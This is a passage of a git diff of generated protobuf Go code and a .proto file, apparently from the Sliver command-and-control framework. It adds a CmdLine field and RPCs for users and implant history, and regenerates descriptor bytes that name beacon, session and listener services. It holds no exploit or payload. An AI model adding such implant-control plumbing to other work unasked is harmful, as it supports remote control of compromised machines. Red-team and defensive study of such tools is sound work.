0x49, 0x44, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x18, 0x0a, 0x07, + 0x43, 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x18, 0x06, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x43, + 0x6d, 0x64, 0x4c, 0x69, 0x6e, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, + 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, + 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, + 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, + 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var ( diff --git a/protobuf/commonpb/common.proto b/protobuf/commonpb/common.proto index 9dfeaeb8eb..ef5a784c42 100644 --- a/protobuf/commonpb/common.proto +++ b/protobuf/commonpb/common.proto @@ -15,6 +15,7 @@ message Request { string BeaconID = 8; string SessionID = 9; + repeated string CmdLine = 10; } // Response - Common fields used in all gRPC responses. Note that the Err field @@ -48,4 +49,4 @@ message Process { message EnvVar { string Key = 1; string Value = 2; -} \ No newline at end of file +} diff --git a/protobuf/dnspb/dns.pb.go b/protobuf/dnspb/dns.pb.go index 1cf6752d8c..bf97c015d5 100644 --- a/protobuf/dnspb/dns.pb.go +++ b/protobuf/dnspb/dns.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: dnspb/dns.proto package dnspb diff --git a/protobuf/rpcpb/services.pb.go b/protobuf/rpcpb/services.pb.go index bfde3996b9..0e778186d6 100644 --- a/protobuf/rpcpb/services.pb.go +++ b/protobuf/rpcpb/services.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: rpcpb/services.proto package rpcpb @@ -31,671 +31,683 @@ var file_rpcpb_services_proto_rawDesc = []byte{ 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x32, 0xc6, 0x52, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, + 0x74, 0x6f, 0x32, 0x87, 0x54, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69, - 0x6f, 0x6e, 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x34, 0x0a, 0x0c, 0x47, - 0x65, 0x74, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, - 0x73, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, - 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, - 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, - 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x32, 0x0a, - 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, - 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x43, 0x0a, 0x11, 0x4d, 0x6f, 0x6e, 0x69, 0x74, - 0x6f, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, - 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x44, 0x0a, 0x10, - 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, - 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x12, 0x44, 0x0a, 0x10, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x6f, 0x6e, 0x12, 0x2c, 0x0a, 0x08, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x73, + 0x12, 0x37, 0x0a, 0x09, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x12, 0x17, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, + 0x6f, 0x67, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, + 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x28, 0x01, 0x12, 0x2a, 0x0a, 0x04, 0x4b, 0x69, 0x6c, + 0x6c, 0x12, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4b, 0x69, 0x6c, + 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3e, 0x0a, 0x0b, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x75, 0x72, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x75, 0x72, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x75, 0x72, 0x65, 0x12, 0x2e, 0x0a, 0x06, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, + 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x28, 0x01, 0x12, 0x40, 0x0a, 0x11, 0x47, 0x65, 0x74, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, + 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x32, 0x0a, 0x0b, 0x47, 0x65, 0x74, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x33, 0x0a, 0x0c, 0x4d, 0x6f, + 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x61, 0x72, 0x74, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, + 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, + 0x2f, 0x0a, 0x0b, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x43, 0x0a, 0x11, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, - 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, - 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, - 0x41, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72, 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, - 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, - 0x6f, 0x62, 0x12, 0x43, 0x0a, 0x10, 0x53, 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, - 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x46, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, - 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, + 0x69, 0x64, 0x65, 0x72, 0x73, 0x12, 0x44, 0x0a, 0x10, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, + 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, + 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, + 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x44, 0x0a, 0x10, 0x4d, + 0x6f, 0x6e, 0x69, 0x74, 0x6f, 0x72, 0x44, 0x65, 0x6c, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, + 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4d, 0x6f, 0x6e, 0x69, 0x74, + 0x6f, 0x72, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x76, 0x69, 0x64, 0x65, 0x72, 0x1a, 0x12, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x41, 0x0a, 0x0f, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x47, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, + 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x43, 0x0a, 0x10, 0x53, + 0x74, 0x61, 0x72, 0x74, 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, + 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x4e, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, + 0x12, 0x46, 0x0a, 0x12, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x53, 0x4c, 0x69, + 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, + 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, + 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, - 0x45, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x72, 0x74, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, - 0x65, 0x6e, 0x65, 0x72, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, - 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x4a, 0x6f, 0x62, 0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x09, 0x47, 0x65, 0x74, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x2d, 0x0a, 0x08, 0x52, 0x6d, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0e, 0x47, 0x65, 0x74, 0x42, - 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x12, 0x10, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x1a, 0x15, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, - 0x73, 0x6b, 0x73, 0x12, 0x42, 0x0a, 0x14, 0x47, 0x65, 0x74, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, - 0x54, 0x61, 0x73, 0x6b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x14, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, - 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x3e, 0x0a, 0x10, 0x43, 0x61, 0x6e, 0x63, 0x65, - 0x6c, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x14, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, - 0x6b, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, - 0x63, 0x6f, 0x6e, 